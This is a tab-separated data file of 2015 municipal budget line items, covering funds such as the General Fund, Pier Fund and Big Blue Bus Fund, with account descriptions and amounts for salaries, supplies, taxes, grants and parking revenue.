17229	BA	IS	27	Resource Recovery & Recyc Fund	500	PUBLIC WORKS	441	RESOURCE RECOVERY & RECYCLING	511746.0	MED TRUST - MISC. EMPL	808.0	Salaries and Wages	2015	1770	0	0	0	0	0	0	0	0	0	0	0	1770
17230	BA	IS	27	Resource Recovery & Recyc Fund	500	PUBLIC WORKS	441	RESOURCE RECOVERY & RECYCLING	522210.0	UTILITIES - TELEPHONE	808.0	 Supplies and Expenses	2015	51	0	0	0	0	0	0	0	0	0	0	0	51
17231	BA	IS	1	General Fund	310	FIRE	312	FIRE - ADMINISTRATION	408000.0	INTERFUND SERVICES-FIRE	612.0	Charges for Service	2015	0	0	0	0	0	0	0	0	0	0	0	0	0
17232	BA	IS	27	Resource Recovery & Recyc Fund	500	PUBLIC WORKS	441	RESOURCE RECOVERY & RECYCLING	523000.0	VEHICLE MGMT FUND-MAINTENANCE	808.0	 Supplies and Expenses	2015	0	0	0	0	0	0	0	0	0	0	0	0	0
17233	BA	IS	1	General Fund	700	NON-DEPARTMENTAL	274	ALL OTHER TRANSACTIONS	400750.0	INT DEP / INVESTMENT	616.0	Investment Income	2015	-3500000	0	0	0	0	0	0	0	0	0	0	0	-3500000
17234	BA	IS	44	SCAQMD AB 2766 Fund	700	NON-DEPARTMENTAL	274	ALL OTHER TRANSACTIONS	400750.0	INT DEP / INVESTMENT	616.0	Investment Income	2015	0	0	0	0	0	0	0	0	0	0	0	0	0
17235	BA	IS	1	General Fund	500	PUBLIC WORKS	498	PUBLIC LANDSCAPE	511773.0	RETIREMENT - MISC. EMPL	808.0	Salaries and Wages	2015	134741	0	0	0	0	0	0	0	0	0	0	0	134741
17236	BA	IS	1	General Fund	500	PUBLIC WORKS	498	PUBLIC LANDSCAPE	511900.0	VACANCY SAVINGS	808.0	Salaries and Wages	2015	-19275	0	0	0	0	0	0	0	0	0	0	0	-19275
17237	BA	IS	1	General Fund	500	PUBLIC WORKS	498	PUBLIC LANDSCAPE	511681.0	VACANCY SAVINGS	808.0	Salaries and Wages	2015	0	0	0	0	0	0	0	0	0	0	0	0	0
17238	BA	IS	1	General Fund	500	PUBLIC WORKS	498	PUBLIC LANDSCAPE	511900.0	VACANCY SAVINGS	808.0	Salaries and Wages	2015	-85025	0	0	0	0	0	0	0	0	0	0	0	-85025
17239	BA	IS	1	General Fund	500	PUBLIC WORKS	498	PUBLIC LANDSCAPE	544010.0	SPECIAL DEPARTMENT SUPPLIES	808.0	 Supplies and Expenses	2015	91738	0	0	0	0	0	0	0	0	0	0	0	91738
17240	BA	IS	1	General Fund	500	PUBLIC WORKS	498	PUBLIC LANDSCAPE	511746.0	MED TRUST - MISC. EMPL	808.0	Salaries and Wages	2015	7010	0	0	0	0	0	0	0	0	0	0	0	7010
17241	BA	IS	1	General Fund	500	PUBLIC WORKS	498	PUBLIC LANDSCAPE	523000.0	VEHICLE MGMT FUND-MAINTENANCE	808.0	 Supplies and Expenses	2015	49444	0	0	0	0	0	0	0	0	0	0	0	49444
17242	BA	IS	1	General Fund	500	PUBLIC WORKS	498	PUBLIC LANDSCAPE	511730.0	WORKERS' COMP INSURANCE	808.0	Salaries and Wages	2015	170569	0	0	0	0	0	0	0	0	0	0	0	170569
17243	BA	IS	1	General Fund	500	PUBLIC WORKS	498	PUBLIC LANDSCAPE	511749.0	VISION	808.0	Salaries and Wages	2015	3066	0	0	0	0	0	0	0	0	0	0	0	3066
17244	BA	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	416	TRANS ENGINEERING & MGMT	569300.0	BIKE VALET-PICO LIBRARY	816.0	 Supplies and Expenses	2015	9739	0	0	0	0	0	0	0	0	0	0	0	9739
17245	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	560	CULTURAL AFFAIRS	522150.0	STORMWATER MANAGEMENT	810.0	 Supplies and Expenses	2015	6400	0	0	0	0	0	0	0	0	0	0	0	6400
17246	BA	IS	34	Stormwater Management Fund	700	NON-DEPARTMENTAL	274	ALL OTHER TRANSACTIONS	577500.0	TRANSFER - GF CODE COMPLIANCE		 Supplies and Expenses	2015	0	0	0	0	0	0	0	0	0	0	0	0	0
17247	BA	IS	1	General Fund	700	NON-DEPARTMENTAL	274	ALL OTHER TRANSACTIONS	400843.0	VLF SWAP	602.0	Property Taxes	2015	-9334156	0	0	0	0	0	0	0	0	0	0	0	-9334156
17248	BA	IS	1	General Fund	310	FIRE	312	FIRE - ADMINISTRATION	523000.0	VEHICLE MGMT FUND-MAINTENANCE	806.0	 Supplies and Expenses	2015	67301	0	0	0	0	0	0	0	0	0	0	0	67301
17249	BA	IS	1	General Fund	100	CITY COUNCIL	201	CITY COUNCIL	579002.0	DISCRET-BID FUNDING INCRE	804.0	 Supplies and Expenses	2015	0	0	0	0	0	0	0	0	0	0	0	0	0
17250	BA	IS	20	Miscellaneous Grants Fund	300	POLICE	304	ADMINISTRATIVE SERVICES DIV	555399.0	13 UASI GRANT	806.0	 Supplies and Expenses	2015	0	0	0	0	0	0	0	0	0	0	0	0	0
17251	BA	IS	1	General Fund	310	FIRE	312	FIRE - ADMINISTRATION	410180.0	EMS RECORDS FEE	612.0	Charges for Service	2015	-100	0	0	0	0	0	0	0	0	0	0	0	-100
17252	BA	IS	27	Resource Recovery & Recyc Fund	500	PUBLIC WORKS	441	RESOURCE RECOVERY & RECYCLING	511773.0	RETIREMENT - MISC. EMPL	808.0	Salaries and Wages	2015	13723	0	0	0	0	0	0	0	0	0	0	0	13723
17253	BA	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	417	PARKING OPERATIONS	404870.0	1665 OCEAN AVE PKG LOT	608.0	Licenses and Permits	2015	-53000	0	0	0	0	0	0	0	0	0	0	0	-53000
17254	BA	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	416	TRANS ENGINEERING & MGMT	407691.0	TAXI FRANCHISE FEES	612.0	Charges for Service	2015	-234300	0	0	0	0	0	0	0	0	0	0	0	-234300
17255	BA	IS	30	Pier Fund	110	CITY MANAGER	209	OFFICE OF PIER MANAGEMENT	402030.0	CAROUSEL OPERATION	650.0	Charges for Service	2015	-255000	0	0	0	0	0	0	0	0	0	0	0	-255000
17256	BA	IS	1	General Fund	110	CITY MANAGER	227	OFFICE OF EMERGENCY MANAGEMENT	551010.0	CAR WASHES	804.0	 Supplies and Expenses	2015	235	0	0	0	0	0	0	0	0	0	0	0	235
17257	BA	IS	1	General Fund	110	CITY MANAGER	227	OFFICE OF EMERGENCY MANAGEMENT	511000.0	PERMANENT EMPLOYEES	804.0	Salaries and Wages	2015	2255926	0	0	0	0	0	0	0	0	0	0	0	2255926
17258	BA	IS	1	General Fund	110	CITY MANAGER	227	OFFICE OF EMERGENCY MANAGEMENT		EMPLOYEE HEALTH CONTRIBUTION	804.0	Salaries and Wages	2015	-26459	0	0	0	0	0	0	0	0	0	0	0	-26459
17259	BA	IS	1	General Fund	110	CITY MANAGER	227	OFFICE OF EMERGENCY MANAGEMENT		DCAP	804.0	Salaries and Wages	2015	216	0	0	0	0	0	0	0	0	0	0	0	216
17260	BA	IS	1	General Fund	110	CITY MANAGER	227	OFFICE OF EMERGENCY MANAGEMENT	522210.0	UTILITIES - TELEPHONE	804.0	 Supplies and Expenses	2015	1000	0	0	0	0	0	0	0	0	0	0	0	1000
17261	BA	IS	1	General Fund	110	CITY MANAGER	227	OFFICE OF EMERGENCY MANAGEMENT	533580.0	COMPUTER EQUIP/SOFTWARE MAINT	804.0	 Supplies and Expenses	2015	10000	0	0	0	0	0	0	0	0	0	0	0	10000
17262	BA	IS	20	Miscellaneous Grants Fund	310	FIRE	312	FIRE - ADMINISTRATION	406804.0	13 STATE HOMELAND SEC GRANT	610.0	Intergovernmental	2015	-200000	0	0	0	0	0	0	0	0	0	0	0	-200000
17263	BA	IS	20	Miscellaneous Grants Fund	210	PLANNING & COMM. DEVELOPMENT	267	STRATEGIC & TRANSP. PLANNING	404041.0	SR2S - EDISON LANGUAGE ACADEMY	610.0	Intergovernmental	2015	-41137	0	0	0	0	0	0	0	0	0	0	0	-41137
17264	BA	IS	4	Special Revenue Source Fund	210	PLANNING & COMM. DEVELOPMENT	267	STRATEGIC & TRANSP. PLANNING	544390.0	OTHER COSTS	816.0	 Supplies and Expenses	2015	24432	0	0	0	0	0	0	0	0	0	0	0	24432
17265	BA	IS	20	Miscellaneous Grants Fund	300	POLICE	306	STRATEGIC SERVICES	576514.0	OTS STEP GRANT 2014	806.0	 Supplies and Expenses	2015	15000	0	0	0	0	0	0	0	0	0	0	0	15000
17266	BA	IS	1	General Fund	110	CITY MANAGER	226	OFF SUSTAINABILITY & ENVIRON	511748.0	DENTAL	804.0	Salaries and Wages	2015	3800	0	0	0	0	0	0	0	0	0	0	0	3800
17267	BA	IS	1	General Fund	110	CITY MANAGER	226	OFF SUSTAINABILITY & ENVIRON	511749.0	VISION	804.0	Salaries and Wages	2015	560	0	0	0	0	0	0	0	0	0	0	0	560
17268	BA	IS	1	General Fund	110	CITY MANAGER	226	OFF SUSTAINABILITY & ENVIRON	522320.0	METERED POSTAGE	804.0	 Supplies and Expenses	2015	0	0	0	0	0	0	0	0	0	0	0	0	0
17269	BA	IS	1	General Fund	110	CITY MANAGER	226	OFF SUSTAINABILITY & ENVIRON	523000.0	VEHICLE MGMT FUND-MAINTENANCE	804.0	 Supplies and Expenses	2015	0	0	0	0	0	0	0	0	0	0	0	0	0
17270	BA	IS	27	Resource Recovery & Recyc Fund	500	PUBLIC WORKS	441	RESOURCE RECOVERY & RECYCLING	544340.0	INDIRECT COST ALLOCATION	808.0	 Supplies and Expenses	2015	25922	0	0	0	0	0	0	0	0	0	0	0	25922
17271	BA	IS	1	General Fund	700	NON-DEPARTMENTAL	274	ALL OTHER TRANSACTIONS	405580.0	GILLETTE SETTLEMENT	622.0	Other	2015	-2433175	0	0	0	0	0	0	0	0	0	0	0	-2433175
17272	BA	IS	20	Miscellaneous Grants Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	563160.0	WISE FTA GRANT	810.0	 Supplies and Expenses	2015	64127	0	0	0	0	0	0	0	0	0	0	0	64127
17273	BA	IS	27	Resource Recovery & Recyc Fund	500	PUBLIC WORKS	441	RESOURCE RECOVERY & RECYCLING	405240.0	HOUSEHOLD HAZARDOUS WASTE	650.0	Charges for Service	2015	-2400	0	0	0	0	0	0	0	0	0	0	0	-2400
17274	BA	IS	4	Special Revenue Source Fund	700	NON-DEPARTMENTAL	274	ALL OTHER TRANSACTIONS	406900.0	DIVCA REV FOR PEG FACILITIES	622.0	Other	2015	-276857	0	0	0	0	0	0	0	0	0	0	0	-276857
17275	BA	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	417	PARKING OPERATIONS	400308.0	VALET PARKING METER RENTAL	608.0	Licenses and Permits	2015	-601000	0	0	0	0	0	0	0	0	0	0	0	-601000
17276	BA	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	417	PARKING OPERATIONS	404420.0	5TH AND ARIZONA PARKING	608.0	Licenses and Permits	2015	-624000	0	0	0	0	0	0	0	0	0	0	0	-624000
17277	BA	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	417	PARKING OPERATIONS	522530.0	PARKING OUTREACH	804.0	 Supplies and Expenses	2015	10000	0	0	0	0	0	0	0	0	0	0	0	10000
17278	BA	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	417	PARKING OPERATIONS	533030.0	PROPERTY INSURANCE	804.0	 Supplies and Expenses	2015	621000	0	0	0	0	0	0	0	0	0	0	0	621000
17279	BA	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	417	PARKING OPERATIONS	533580.0	COMPUTER EQUIP/SOFTWARE MAINT	804.0	 Supplies and Expenses	2015	1645	0	0	0	0	0	0	0	0	0	0	0	1645
17280	BA	IS	1	General Fund	130	FINANCE	222	FINANCIAL OPERATIONS	552010.0	CUSTODIAL SERVICES	804.0	 Supplies and Expenses	2015	20130	0	0	0	0	0	0	0	0	0	0	0	20130
17281	BA	IS	1	General Fund	110	CITY MANAGER	226	OFF SUSTAINABILITY & ENVIRON	552010.0	CUSTODIAL SERVICES	804.0	 Supplies and Expenses	2015	12500	0	0	0	0	0	0	0	0	0	0	0	12500
17282	BA	IS	20	Miscellaneous Grants Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	563161.0	FTA NEW FREEDOM GRANT	810.0	 Supplies and Expenses	2015	71781	0	0	0	0	0	0	0	0	0	0	0	71781
17283	BA	IS	15	Low/Mod Incme Housing Asset Fd	700	NON-DEPARTMENTAL	695	INTERFUND TRANSACTIONS	577503.0	TRANSFER TO FUND 01	910.0	 Supplies and Expenses	2015	245199	0	0	0	0	0	0	0	0	0	0	0	245199
17284	BA	IS	1	General Fund	110	CITY MANAGER	227	OFFICE OF EMERGENCY MANAGEMENT	511017.0	PERMANENT EMPLOY SWORN POLICE	806.0	Salaries and Wages	2015	241546	0	0	0	0	0	0	0	0	0	0	0	241546
17285	BA	IS	1	General Fund	110	CITY MANAGER	227	OFFICE OF EMERGENCY MANAGEMENT	511730.0	WORKERS' COMP INSURANCE	804.0	Salaries and Wages	2015	333084	0	0	0	0	0	0	0	0	0	0	0	333084
17286	BA	IS	1	General Fund	110	CITY MANAGER	227	OFFICE OF EMERGENCY MANAGEMENT	511743.0	MEDICAL - MISC. EMPL	804.0	Salaries and Wages	2015	50395	0	0	0	0	0	0	0	0	0	0	0	50395
17287	BA	IS	1	General Fund	110	CITY MANAGER	227	OFFICE OF EMERGENCY MANAGEMENT	511744.0	MED TRUST - POLICE	806.0	Salaries and Wages	2015	1770	0	0	0	0	0	0	0	0	0	0	0	1770
17288	BA	IS	1	General Fund	110	CITY MANAGER	227	OFFICE OF EMERGENCY MANAGEMENT	522900.0	MEMBERSHIPS AND DUES	804.0	 Supplies and Expenses	2015	532	0	0	0	0	0	0	0	0	0	0	0	532
17289	BA	IS	1	General Fund	110	CITY MANAGER	227	OFFICE OF EMERGENCY MANAGEMENT	523000.0	VEHICLE MGMT FUND-MAINTENANCE	804.0	 Supplies and Expenses	2015	3189	0	0	0	0	0	0	0	0	0	0	0	3189
17290	BA	IS	1	General Fund	110	CITY MANAGER	227	OFFICE OF EMERGENCY MANAGEMENT	511500.0	TEMPORARY EMPLOYEES	804.0	Salaries and Wages	2015	0	0	0	0	0	0	0	0	0	0	0	0	0
17291	BA	IS	1	General Fund	110	CITY MANAGER	227	OFFICE OF EMERGENCY MANAGEMENT	511920.0	UNIFORM / TOOL ALLOWANCE	804.0	Salaries and Wages	2015	17550	0	0	0	0	0	0	0	0	0	0	0	17550
17292	BA	IS	1	General Fund	110	CITY MANAGER	227	OFFICE OF EMERGENCY MANAGEMENT		EAP	804.0	Salaries and Wages	2015	3195	0	0	0	0	0	0	0	0	0	0	0	3195
17293	BA	IS	1	General Fund	110	CITY MANAGER	227	OFFICE OF EMERGENCY MANAGEMENT	522825.0	FOOD PURCHASES	804.0	 Supplies and Expenses	2015	800	0	0	0	0	0	0	0	0	0	0	0	800
17294	BA	IS	27	Resource Recovery & Recyc Fund	500	PUBLIC WORKS	441	RESOURCE RECOVERY & RECYCLING	544010.0	SPEC DEPT SUPPLIES	808.0	 Supplies and Expenses	2015	1000	0	0	0	0	0	0	0	0	0	0	0	1000
17295	BA	IS	20	Miscellaneous Grants Fund	500	PUBLIC WORKS	402	ENGINEERING	408641.0	CO ESPLANADE - STPL	610.0	Intergovernmental	2015	-3284000	0	0	0	0	0	0	0	0	0	0	0	-3284000
17296	BA	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	417	PARKING OPERATIONS	400310.0	STRUCTURE ATTENDANT PARKING	608.0	Licenses and Permits	2015	-7273000	0	0	0	0	0	0	0	0	0	0	0	-7273000
17297	BA	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	417	PARKING OPERATIONS	407710.0	MAIN LIBRARY PARKING STRUCTURE	608.0	Licenses and Permits	2015	-808000	0	0	0	0	0	0	0	0	0	0	0	-808000
17298	BA	IS	1	General Fund	700	NON-DEPARTMENTAL	695	INTERFUND TRANSACTIONS	577503.0	TRANSFER FROM FUND 15	908.0	 Supplies and Expenses	2015	-245199	0	0	0	0	0	0	0	0	0	0	0	-245199
17299	BA	IS	30	Pier Fund	110	CITY MANAGER	209	OFFICE OF PIER MANAGEMENT	401830.0	VENDOR RENT	650.0	Charges for Service	2015	-239730	0	0	0	0	0	0	0	0	0	0	0	-239730
17300	BA	IS	30	Pier Fund	110	CITY MANAGER	209	OFFICE OF PIER MANAGEMENT	402550.0	INT DEP / INVESTMENT	659.0	Investment Income	2015	-10000	0	0	0	0	0	0	0	0	0	0	0	-10000
17301	BA	IS	1	General Fund	110	CITY MANAGER	227	OFFICE OF EMERGENCY MANAGEMENT	511749.0	VISION	804.0	Salaries and Wages	2015	441	0	0	0	0	0	0	0	0	0	0	0	441
17302	BA	IS	1	General Fund	110	CITY MANAGER	227	OFFICE OF EMERGENCY MANAGEMENT		DISABILITY INSURANCE	804.0	Salaries and Wages	2015	2559	0	0	0	0	0	0	0	0	0	0	0	2559
17303	BA	IS	1	General Fund	110	CITY MANAGER	227	OFFICE OF EMERGENCY MANAGEMENT	522210.0	UTILITIES - TELEPHONE	804.0	 Supplies and Expenses	2015	15652	0	0	0	0	0	0	0	0	0	0	0	15652
17304	BA	IS	1	General Fund	110	CITY MANAGER	227	OFFICE OF EMERGENCY MANAGEMENT	533230.0	SECURITY SYSTEMS	804.0	 Supplies and Expenses	2015	763	0	0	0	0	0	0	0	0	0	0	0	763
17305	BA	IS	1	General Fund	310	FIRE	312	FIRE - ADMINISTRATION	533720.0	RADIO EQUIP & MAINT	806.0	 Supplies and Expenses	2015	30540	0	0	0	0	0	0	0	0	0	0	0	30540
17306	BA	IS	1	General Fund	500	PUBLIC WORKS	402	ENGINEERING	511050.0	CAPITAL PROJECT STAFFING	808.0	Salaries and Wages	2015	-159075	0	0	0	0	0	0	0	0	0	0	0	-159075
17307	BA	IS	1	General Fund	700	NON-DEPARTMENTAL	274	ALL OTHER TRANSACTIONS	400080.0	HOME EXEMPT TAX RELIEF	602.0	Property Taxes	2015	-188000	0	0	0	0	0	0	0	0	0	0	0	-188000
17308	BA	IS	1	General Fund	700	NON-DEPARTMENTAL	274	ALL OTHER TRANSACTIONS	400100.0	FRANCHISE TAX - UTILITIES	608.0	Licenses and Permits	2015	-978698	0	0	0	0	0	0	0	0	0	0	0	-978698
17309	BA	IS	1	General Fund	700	NON-DEPARTMENTAL	274	ALL OTHER TRANSACTIONS	400150.0	DOCUMENTARY TRANSFER TAX	606.0	Other Local Taxes	2015	-5400000	0	0	0	0	0	0	0	0	0	0	0	-5400000
17310	BA	IS	1	General Fund	700	NON-DEPARTMENTAL	274	ALL OTHER TRANSACTIONS	400180.0	LOCAL PUBLIC SAFETY FUNDS	602.0	Property Taxes	2015	-1034378	0	0	0	0	0	0	0	0	0	0	0	-1034378
17311	BA	IS	1	General Fund	700	NON-DEPARTMENTAL	274	ALL OTHER TRANSACTIONS	404660.0	LIBRARY BOND TAX OVERRIDE	602.0	Property Taxes	2015	-1433050	0	0	0	0	0	0	0	0	0	0	0	-1433050
17312	BA	IS	1	General Fund	700	NON-DEPARTMENTAL	274	ALL OTHER TRANSACTIONS	405590.0	CABLE FRANCHISE FEES	608.0	Licenses and Permits	2015	-1107430	0	0	0	0	0	0	0	0	0	0	0	-1107430
17313	BA	IS	1	General Fund	100	CITY COUNCIL	201	CITY COUNCIL	579001.0	DISCRET-SECTION 8 ASST	804.0	 Supplies and Expenses	2015	0	0	0	0	0	0	0	0	0	0	0	0	0
17314	BA	IS	27	Resource Recovery & Recyc Fund	500	PUBLIC WORKS	441	RESOURCE RECOVERY & RECYCLING	408150.0	ALT FUEL TAX CREDIT	662.0	Other	2015	-100000	0	0	0	0	0	0	0	0	0	0	0	-100000
17315	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	560	CULTURAL AFFAIRS	522950.0	CNG FUEL	810.0	 Supplies and Expenses	2015	617	0	0	0	0	0	0	0	0	0	0	0	617
17316	BA	IS	53	Parks and Recreation Fund	400	COMMUNITY & CULTURAL SERVICES	501	ADMINISTRATION & PLANNING SVCS	402950.0	INT DEP / INVESTMENT	616.0	Investment Income	2015	-1000	0	0	0	0	0	0	0	0	0	0	0	-1000
17317	BA	IS	20	Miscellaneous Grants Fund	300	POLICE	304	ADMINISTRATIVE SERVICES DIV	578841.0	JUSTICE ASSIST GRANT 2013-OT	806.0	 Supplies and Expenses	2015	29283	0	0	0	0	0	0	0	0	0	0	0	29283
17318	BA	IS	27	Resource Recovery & Recyc Fund	500	PUBLIC WORKS	441	RESOURCE RECOVERY & RECYCLING	511713.0	MEDICARE-MISC EMPLOYEES	840.0	Salaries and Wages	2015	1046	0	0	0	0	0	0	0	0	0	0	0	1046
17319	BA	IS	27	Resource Recovery & Recyc Fund	500	PUBLIC WORKS	441	RESOURCE RECOVERY & RECYCLING		EAP	808.0	Salaries and Wages	2015	104	0	0	0	0	0	0	0	0	0	0	0	104
17320	BA	IS	27	Resource Recovery & Recyc Fund	500	PUBLIC WORKS	441	RESOURCE RECOVERY & RECYCLING		DCAP	808.0	Salaries and Wages	2015	72	0	0	0	0	0	0	0	0	0	0	0	72
17321	BA	IS	27	Resource Recovery & Recyc Fund	500	PUBLIC WORKS	441	RESOURCE RECOVERY & RECYCLING		DISABILITY INSURANCE	808.0	Salaries and Wages	2015	480	0	0	0	0	0	0	0	0	0	0	0	480
17322	BA	IS	27	Resource Recovery & Recyc Fund	500	PUBLIC WORKS	441	RESOURCE RECOVERY & RECYCLING	522825.0	FOOD PURCHASES	808.0	 Supplies and Expenses	2015	30	0	0	0	0	0	0	0	0	0	0	0	30
17323	BA	IS	27	Resource Recovery & Recyc Fund	500	PUBLIC WORKS	441	RESOURCE RECOVERY & RECYCLING	544170.0	UNIFORM / PROTECTIVE CLOTHING	808.0	 Supplies and Expenses	2015	1000	0	0	0	0	0	0	0	0	0	0	0	1000
17324	BA	IS	27	Resource Recovery & Recyc Fund	500	PUBLIC WORKS	441	RESOURCE RECOVERY & RECYCLING	555210.0	TRAINING	808.0	 Supplies and Expenses	2015	1000	0	0	0	0	0	0	0	0	0	0	0	1000
17325	BA	IS	54	Vehicle Management Fund	500	PUBLIC WORKS	459	FLEET MANAGEMENT	533580.0	COMPUTER EQUIP/SOFTWARE MAINT	846.0	 Supplies and Expenses	2015	22602	0	0	0	0	0	0	0	0	0	0	0	22602
17326	BA	IS	1	General Fund	700	NON-DEPARTMENTAL	274	ALL OTHER TRANSACTIONS	408120.0	LA MARATHON	622.0	Other	2015	-165000	0	0	0	0	0	0	0	0	0	0	0	-165000
17327	BA	IS	15	Low/Mod Incme Housing Asset Fd	620	HOUSING & ECONOMIC DEVELOPMENT	264	HOUSING	404178.0	RESIDUAL RECEIPTS-HOUSING	622.0	Other	2015	-550000	0	0	0	0	0	0	0	0	0	0	0	-550000
17328	BA	IS	41	Big Blue Bus Fund	700	NON-DEPARTMENTAL	695	INTERFUND TRANSACTIONS	579961.0	BBB-GEN FUND REIMB-MISC	910.0	 Supplies and Expenses	2015	50000	0	0	0	0	0	0	0	0	0	0	0	50000
17329	BA	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	417	PARKING OPERATIONS	400300.0	ON STREET METERS	608.0	Licenses and Permits	2015	-14557000	0	0	0	0	0	0	0	0	0	0	0	-14557000
17330	BA	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	417	PARKING OPERATIONS	400318.0	ATTENDANT PARKING-STRUCTRE 7&8	608.0	Licenses and Permits	2015	-3715000	0	0	0	0	0	0	0	0	0	0	0	-3715000
17331	BA	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	417	PARKING OPERATIONS	404430.0	MAIN STREET PARKING LOTS	608.0	Licenses and Permits	2015	-969000	0	0	0	0	0	0	0	0	0	0	0	-969000
17332	BA	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	417	PARKING OPERATIONS	407800.0	CIVIC CENTER PARKING	608.0	Licenses and Permits	2015	-1885000	0	0	0	0	0	0	0	0	0	0	0	-1885000
17333	BA	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	417	PARKING OPERATIONS	544870.0	PARKING CITATION COSTS	804.0	 Supplies and Expenses	2015	1500000	0	0	0	0	0	0	0	0	0	0	0	1500000
17334	BA	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	417	PARKING OPERATIONS	555990.0	PARKING AGREEMENT W / MACERICH	804.0	 Supplies and Expenses	2015	1857500	0	0	0	0	0	0	0	0	0	0	0	1857500
17335	BA	IS	1	General Fund	300	POLICE	306	STRATEGIC SERVICES	555080.0	DEAD ANIMAL DISPOSAL	806.0	 Supplies and Expenses	2015	9913	0	0	0	0	0	0	0	0	0	0	0	9913
17336	BA	IS	4	Special Revenue Source Fund	300	POLICE	306	STRATEGIC SERVICES	544010.0	SPECIAL DEPARTMENT SUPPLIES	806.0	 Supplies and Expenses	2015	13001	0	0	0	0	0	0	0	0	0	0	0	13001
17337	BA	IS	1	General Fund	110	CITY MANAGER	226	OFF SUSTAINABILITY & ENVIRON		UNEMPLOYMENT	804.0	Salaries and Wages	2015	1360	0	0	0	0	0	0	0	0	0	0	0	1360
17338	BA	IS	1	General Fund	110	CITY MANAGER	226	OFF SUSTAINABILITY & ENVIRON		EAP	804.0	Salaries and Wages	2015	400	0	0	0	0	0	0	0	0	0	0	0	400
17339	BA	IS	1	General Fund	310	FIRE	312	FIRE - ADMINISTRATION	409210.0	FIRE HIGH RISE INSPECTIONS	612.0	Charges for Service	2015	-124502	0	0	0	0	0	0	0	0	0	0	0	-124502
17340	BA	IS	1	General Fund	110	CITY MANAGER	226	OFF SUSTAINABILITY & ENVIRON	577830.0	WATER CONSERVATION REBATES	804.0	 Supplies and Expenses	2015	0	0	0	0	0	0	0	0	0	0	0	0	0
17341	BA	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	670	TRANSIT SAFETY & TRAINING	544126.0	PRINTING - TRAINING		 Supplies and Expenses	2015	6000	0	0	0	0	0	0	0	0	0	0	0	6000
17342	BA	IS	1	General Fund	130	FINANCE	221	ADMINISTRATION	522950.0	CNG FUEL	804.0	 Supplies and Expenses	2015	0	0	0	0	0	0	0	0	0	0	0	0	0
17343	BA	IS	4	Special Revenue Source Fund	400	COMMUNITY & CULTURAL SERVICES	501	ADMINISTRATION & PLANNING SVCS	410070.0	OPEN SPACE CONTRIB 1318 2ND	622.0	Other	2015	0	0	0	0	0	0	0	0	0	0	0	0	0
17344	BA	IS	12	Housing Authority Fund	620	HOUSING & ECONOMIC DEVELOPMENT	269	HOUSING SERVICES		SECTION 8 - FSS FORFEITURES	610.0	Intergovernmental	2015	-500	0	0	0	0	0	0	0	0	0	0	0	-500
17345	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	409008.0	CHILDCARE-APRIL	612.0	Charges for Service	2015	-31617	0	0	0	0	0	0	0	0	0	0	0	-31617
17346	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	409052.0	MIDDLE SPORTS-WINTER	612.0	Charges for Service	2015	-13950	0	0	0	0	0	0	0	0	0	0	0	-13950
17347	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	409062.0	SMSE-SPRING	612.0	Charges for Service	2015	-8650	0	0	0	0	0	0	0	0	0	0	0	-8650
17348	BA	IS	1	General Fund	140	CITY ATTORNEY	231	CITY ATTORNEY	408000.0	INTERFUND SERVICES-CAO	612.0	Charges for Service	2015	-10000	0	0	0	0	0	0	0	0	0	0	0	-10000
17349	BA	IS	11	Beach Recreation Fund	400	COMMUNITY & CULTURAL SERVICES	523	BEACH HOUSE OPERATIONS	402166.0	FILM / PHOTO PARKING	612.0	Charges for Service	2015	-5000	0	0	0	0	0	0	0	0	0	0	0	-5000
17350	BA	IS	1	General Fund	700	NON-DEPARTMENTAL	695	INTERFUND TRANSACTIONS	570081.0	TRANSFER OUT-WTR L-INCOME DISC		 Supplies and Expenses	2015	20000	0	0	0	0	0	0	0	0	0	0	0	20000
17351	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	409001.0	CHILDCARE-SEPTEMBER	612.0	Charges for Service	2015	-57684	0	0	0	0	0	0	0	0	0	0	0	-57684
17352	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	409022.0	ENRICHMENT-WINTER	612.0	Charges for Service	2015	-152000	0	0	0	0	0	0	0	0	0	0	0	-152000
17353	BA	IS	1	General Fund	700	NON-DEPARTMENTAL	274	ALL OTHER TRANSACTIONS	556260.0	TWILIGHT CONCERT SERIES	820.0	 Supplies and Expenses	2015	500000	0	0	0	0	0	0	0	0	0	0	0	500000
17354	BA	IS	20	Miscellaneous Grants Fund	500	PUBLIC WORKS	402	ENGINEERING	404010.0	PROP 84-16TH ST WATERSHED	610.0	Intergovernmental	2015	-1013085	0	0	0	0	0	0	0	0	0	0	0	-1013085
17355	BA	IS	41	Big Blue Bus Fund	700	NON-DEPARTMENTAL	695	INTERFUND TRANSACTIONS	579963.0	BBB-GEN FUND REIMB-FIN	910.0	 Supplies and Expenses	2015	261702	0	0	0	0	0	0	0	0	0	0	0	261702
17356	BA	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	416	TRANS ENGINEERING & MGMT	407693.0	TAXI DRIVER PERMIT FEES	612.0	Charges for Service	2015	-51480	0	0	0	0	0	0	0	0	0	0	0	-51480
